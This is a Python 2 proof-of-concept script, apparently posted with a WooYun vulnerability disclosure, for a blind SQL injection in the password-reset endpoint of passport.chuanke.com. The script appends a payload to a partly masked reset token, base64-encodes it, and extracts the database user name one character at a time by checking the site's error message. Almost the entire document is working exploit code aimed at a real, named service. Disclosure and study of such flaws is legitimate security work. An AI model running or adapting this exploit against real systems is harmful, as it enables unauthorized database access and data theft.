WooYun.org

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = '1c3z'
import urllib2
import base64
url = 'http://passport.chuanke.com/passwd/reset/s/'
data = '8ff1a72c16885打码639e134c0a11|1232486|邮箱名打码@qq.com|1425275302|6277'
user = ""
try:
	for x in xrange(1,18):
		cnt = 30 
		print x
		while True:
			try:
				if cnt > 130:
					break
				url = 'http://passport.chuanke.com/passwd/reset/s/'
				payload = "' and ascii(substring(user(),"+str(x)+",1))=" + str(cnt) + "#"
				url += base64.b64encode(data + payload)
				f = urllib2.urlopen(url,timeout=3)
				res = f.read()
				if res.find('验证失败，链接已失效！') == -1:
					print "find:" +str(x) +":"+str(cnt)
					user += str(chr(cnt))
					break
				cnt +=1
			except Exception, e:
				print "timed out"
	print user
except urllib2.HTTPError, e:
	print "error"